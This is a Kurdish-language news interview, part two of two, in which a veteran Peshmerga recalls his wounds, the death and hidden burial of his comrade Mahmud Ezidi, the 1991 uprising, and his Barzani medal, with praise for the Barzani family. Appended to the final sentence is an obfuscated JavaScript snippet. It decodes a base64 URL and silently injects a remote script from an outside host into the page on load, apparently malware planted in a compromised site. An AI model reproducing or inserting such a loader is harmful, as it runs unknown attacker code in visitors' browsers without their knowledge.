خۆشترین رۆژا ژیانا من دەمێ ب مەدالیا بارزانی هاتیمە خەلاتـكرن
شێخان، سالار محەمەد دۆسكی:
2-2
هەمان پێشمەرگە گۆت: ژیانا پێشمەرگاتیێ دا هەشت جاران بریندار بوویمە، دژیانا خوە یا پێشمەرگاتیێ دا بۆ گەلەك هەڤالێن خوە عاجز بوویمە دەمێ شەهید بووین بەلێ یێ ژ هەمیان زێدەتر و گەلەك بۆ عاجز بوویم (محمود ئێزدی) دەمێ شەهید بووی وی دەمی ئەز ل (ساركێ) بووم و ئەو ل (ردێنیا) بوو ئەم چووینە بارەگایێ (كماتە) هەڤالا گۆتە من هەرە جەولەكێ بكە ل دەڤەرێ و من گۆت تەبوو نە گۆت چینە ئیرانێ تە گۆت چینە لقێ چوومە بارەگایێ مستەفا نێروەیی و كەل دەربازبووم و چوومە ئالیێ هاتم و هاتمە بەرەگایێ و هەڤالان گۆتن مە درێكەكێ را ببە كەسەك چ ژ مە نوزانیت، و كەفتم و پێ من دەرزی و من دیت هەڤالێن گازی من كر و یێ مە دگەرم وی دەمی خالد بانی ژی ل گەل مە بوو و هەتا سپێدێ ماین و مە گۆت دێ سەرێن خوە شووین و زێدەتر هەڤالا گۆتن دێ گەلتە هێنە بەرێ گارەی و من گۆتێ هەما دێ پێكڤە چین و دەنگۆ گەهشتە مە ژ محمود كو ئەڤ شەڤە وەرنە دەف من و مە دا رێكێ و 9ی شەڤێ چووینە بەرێ گارەی و هێدی هێدی پێ من نەیێ باشە و هەڤالان گۆتە من هەرە ساركێ پێ خوە چێكە و ئەگەر محمود ل ساركێ بیت ئەم دێ هێنە وێرێ و خالد بانی و سەعید بالێتەی ئەم چووینە ساركێ و جەباری سەحكرێ و گۆت دێ چكەم و گەلەك پێ من ئێشا وی دەمی رەمەزان بوو و پاشیێ من گول دەنگێ تڤەنگا بوو و هەڤالان گۆت پێشمەرگە یێ ل دەڤەرێ و من گۆتێ ئەڤە هەوایی یێ دهاڤێژن و من گۆتێ ئەڤە هەوارەكە و عەلی چوو و نەزڤری و رەشید چوو نە زڤری و ئێكێ دی چوو و نەزڤری و خالد بانی چوو و نەزڤری و ئێكێ گۆت سلو خدر كوشتیە و محمود ئێزدی بریندارە و من گۆت كێ؟ گۆتن وی بێ شەرەفی؟ هاتمە ردێنیا من سەحكرە دو كەس زێرەڤانیێ دكەن و من ئئاخفتنێن گۆتن من گۆتێ شنی بێژن كی؟ سلو خدر ب دەربێ بوو هاش خو نەبوو و هەڤالان گۆتی یێ شەهید بوو و محمود یێ بریندار بوو گۆت تو هاتی من گۆتێ بەلێ ، شەهید مەحمود ئێزدی گۆت خوە شەپرزە نەكەن ئەڤرۆ هەمیێ لەشكرێ ئیراقێ ناهێت، چوو سباهی بهێت و هەمان دەم سلو خدر هشیار بوو و دیسا محەمەد شینو ژی بریندار ب بوو گلەك ب دەستێ وی كەفت بوو هەڤالان حەز هەبوو وی ڤەگوهێزن و من گۆت ئەگەر ڤەگوهاست ئەڤە قاچاغ بوو و من گۆتێ سپێدێ ببنە ئامێدیێ چ بۆ هەوە یا باشە وێ بێژن و مە محمود هەتا بەرێ مەزن مە بر یێ باش بوو و هەر گوت بۆ خاترا خوێ من دانن و گوت دەستێ خوە بدەف من و من دەستێ خوە داڤێ و گۆت گەلی هەڤالا ب خاترا هەوە و ئەڤە وەكیلێ هەوە و من گۆتێ خێرە دێ كیڤە چی دێ فری ؟ گۆت هەمی گەردانا من ئازا بكەن و هەمان دەم من دیت دەستێ وی سست بوو و دووف دا چوو بەر دلوڤانیا خودێ و مە ڤەگوهاست و دووف دا مە دانا بن هندەك بەرا و هوسا مە چێكر كو كەسەك هەست پێ نەكەت یێ بن ئەڤان بەران ڤە و دیف دا ئەم چووینە سەرێ باسكی و مە گورەك كولا و مە كێلی بۆ دروستكرن ب وێ مانایێ محمود ئێزدی مە دناڤا ئەڤی گوری دا ڤەشارتیە، بو شەڤ ئەم چووینە گوندەكی نێزیك ئێكمالە بۆ سپێدە و لەشكەر هات و هەتا جهێ ڤەشارتنێ چوون و و لەشكر هەمی چوونە جهێ ڤەشارتی و هەر كولا و هەر كولا و ئەفسەری گۆت ئەڤە ژ قەستا وە بێژن و دووڤ دا چەند خەلكێ گوندی هاتە دەستەسەركرن، محمود ئێزدی پێشمەرگەكێ گەلەكێ زیرەك بوو و راگەهاندەكا باش بۆ دهاتەكرن.
هەمان پێشمەرگە گۆت: ئەنفالێن رەش ئەز ل گارەی بووم و دووڤ دا ل گەل خەلكی چوومە بەحركێ و خێزان و زارۆك و كەس و كارێن من ژی ل ئیرانێ بووون.
هەمان پێشمەرگە ل دور سەرهلدانێ ژی ئەو گۆت: ل سەرهلدانا پیرۆزا سالا 1991 ئەم چووینە ئەلكیشك و تلسقوف و چەندین كەساتیێن دەڤەرێ و مرۆڤێن مە ل گەل مەبووم و ئەم چووینە مەهتێ و تەمەر رەمەزان گۆت بەلكی بچینە تلسقوف و هەتا ترۆمبێلێ سیاربووین گەلەك توپ دهاڤێتنە مە و ئەم هەتا ئێڤاری ماین چ هێزێن پشتەڤانیێ بوومە نەهاتن و پێشتر هات بووینە ئاگەهداركرن كو دێ هێزەكا پشتەڤانیێ بوومە هێتە دەڤەرێ و دناڤبەرا مە و لەشكری 100 مەتر نەمابوون و من گۆت دێ خوە ڤەكێشین و هەڤالان گۆت شەرمە من گۆتێ شەرم ئەوە مە بگرن ب دەست چونكە چ هێز بوومە نەهاتن و هەەمان دەم فرۆكە هاتن و رەمی كر و مە خوە ڤەكێشا و لەشكری تەقدەم كر و نێزیكی مەهتێ بووین مە سەحكرە هەڤالێن مە چووینە و چووینە مرێبا كەس وێرێ نە و چووینە شێخ هادی هەر كەس نینە و لەشكر هەر پێشك شی كر، دووڤ دا قادر قاچاخ و تەمەر و حسو میرخان ئەم ب سەركەفتین.
هەمان پێشمەرگەیێ هەر دو شۆرەشێن ئیلۆن و گولانێ ئەو ژی دیاركر كو خوشترین رۆژێن ژیانا من دەمێ ب مەدلیا بارزانی هاتینە خەلاتكرن ژلایێ جەنابێ سەرۆك بارزانی ڤە وی دەمی كەیفا مە گەلەك هات و مە هزر كر كو ئەو ماندیبوونا مە دیتی هەمی مە ژبیركر و بەرهەمێ وێ خەبات و بەرخودانا ب سەدان سالان هاتە پێش و كەیفا مە گەلەك هات، گەلەك جاران كەفتینە دەلیڤێن نەخوش و ئەم تورە بووینە لێ ئەگەر ئێك هزر بكەت كو ئەم ژ پارتی دیموكراتی كوردستان تورە بووینە ئەم چ جاران ژ پارتی دیموكراتی كوردستان تورەنابین یان ژ مالا بارزان تورەبین ئەم تورەنابین و مالا بارزان مالا هەمی كوردانە و ئەگەر مالا بارزان نەبیت كوردنابن، بێژمە ئەڤان بەرپرسان هەكە مالا بارزان نەبیت هەر هووون نینن، مالا بارزان گەلەك بۆ ڤی مللەتی كریە و دڤێت ئەڤە نهێتە ژبیركرن.
هەمان پێشمەرگە، بەحسێ بیرهاتنێن خوە ل گەل بارزانیێ نەمر كرن و گۆت: ل سالا 1969 ل گەل بابێ خوە چوومە بارەگایێ بارزانیێ نەمر ل قەلازێ و جەنابێ وی ژ بابێ من پرسی ئەڤە كیە؟ بابێ من گۆت خولامێ تەیە قوربان، كورێ منە، گۆت ئەڤە پێشمەرگێ منە و برنویەكا كورت ل گەل دو رەختان دامن وەك دیاری پێشكێشی من كر و گەلەك كەیفا من هات وی دەمی گەلەك روژەكا خوش بوو و دووڤ دا ژی ل بەیانا 11ی ئادارێ هەر بارزانیێ نەمر و جەنابێ سەرۆكر و ئدریس خودێ ژێ رازی گەلەك جاران من دیین، پشتی هەیڤەكێ ژ دیتنا جەنابێ سەرۆكێ بارزانی پێ من شكەستن و حسو میرخان كاغەزەك بۆ مەلا مستەفا بارزانی نڤێسی و چوومە دەف دیاری برنویەكا دی دامن و گۆت یا خوژی بە و كاغەزەك بۆ حسو میرخان نڤێسی و گۆتێ مووچەكی بدەڤی پێشمەرگەی و نەبە واجبی.
ل دووماهیێ هەمان پێشمەرگە گۆت: گرنگە ل ڤێ قوناغێ زێدەتر مللەتێ مە و هەمی پارتێن سیاسی كاربكەن بۆ پاراستنا ئەڤان دەسكەفتان وەك چاڤێ خوە قەوارێ هەرێما كوردستانێ و دەسكەفتێن مللەتێ مە ب پارێزین چونكە ئەڤە گەلەك ب ماندیبوون و زەحمەت هاتینە و گەلەك خوین بۆ هاتیە رێتن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
